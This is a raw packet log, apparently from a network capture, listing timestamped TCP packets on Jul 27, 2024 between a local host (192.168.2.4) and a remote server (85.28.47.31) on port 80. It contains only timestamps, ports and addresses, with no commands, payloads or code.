Jul 27, 2024 05:39:19.181693077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181705952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181744099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181756020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181787968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181806087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181821108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181832075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181854010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181866884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181888103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181901932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181919098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181936026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181952953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181967020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181987047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181999922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182019949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182029963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182069063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182071924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182106018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182121992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182140112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182149887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182173967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182193995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182251930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182285070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182297945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182301044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182334900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182367086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182382107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182400942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182416916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182431936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182450056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182466030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182480097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182498932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182522058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182533026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182538033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182565928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182583094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182621002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182630062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182666063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182699919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.182715893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.182749987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.267980099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268043995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268052101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268079042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268088102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268114090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268124104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268151045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268158913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268194914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268202066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268235922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268245935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268269062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268277884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268302917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268310070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268337965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268346071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268372059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268379927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268413067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268450975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268496990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268501043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268547058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.268558979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.268601894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269426107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269480944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269495010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269537926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269568920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269612074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269618988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269658089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269660950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269702911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269710064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269740105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269752026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269773006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269781113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269807100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269815922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269840002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269848108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269874096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269881010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269916058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269923925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.269963980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.269973993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270005941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270016909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270046949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270057917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270101070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270106077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270148039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270155907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270196915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270205021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270240068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270247936 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270268917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270282030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270303965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270312071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270338058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270347118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270371914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270380020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270406008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270412922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270436049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270451069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270468950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270478964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270503044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270510912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270544052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270553112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270596027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270627975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270670891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270677090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270714045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270745039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270756006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270777941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270787001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270812035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270817995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270845890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270853043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270880938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270889997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270915031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270924091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270951986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270956039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.270989895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.270993948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271034002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271042109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271075964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271084070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271116972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271123886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271157026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271166086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271190882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271198988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271224022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271233082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271256924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271267891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271291018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271298885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271330118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271337986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271364927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271373034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271399021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271406889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271433115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271439075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271467924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271476030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271502018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271508932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271536112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271547079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271569967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271576881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271601915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271610022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271636009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271644115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271676064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271698952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271734953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271740913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271775961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271879911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271924019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271934032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271966934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.271975040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.271998882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272008896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272032976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272039890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272066116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272073984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272099972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272131920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272135019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272135019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272166014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272175074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272198915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272206068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272241116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272249937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272283077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272314072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272320986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272346973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272352934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272381067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272387028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272414923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272423029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272449017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272458076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272495985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272500038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272542000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272552967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272594929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272604942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272639036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272646904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272670984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272680044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272706032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272711992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272749901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272782087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272824049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272834063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272866011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272876024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272905111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272916079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272948027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272963047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.272979975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.272983074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273013115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273024082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273046017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273053885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273087978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273097038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273130894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273139954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273164034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273173094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273197889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273205996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273232937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273238897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273267984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273273945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273299932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273308039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273334980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273340940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273369074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273374081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273402929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.273408890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.273444891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.359792948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.359842062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.359874964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.359880924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.359901905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.359909058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.359920979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.359945059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.359977007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.359992027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360012054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360023022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360055923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360167027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360215902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360248089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360249996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360263109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360281944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360316038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360331059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360348940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360361099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360383034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360393047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360425949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360645056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360677958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360691071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360722065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360730886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360774994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360781908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360816002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360826015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360848904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360858917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360893965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360899925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360944986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.360950947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360985994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.360995054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361018896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361028910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361052990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361062050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361085892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361120939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361131907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361152887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361162901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361186981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361196995 CEST	49477	80	192.168.2.4	85.28.47.31
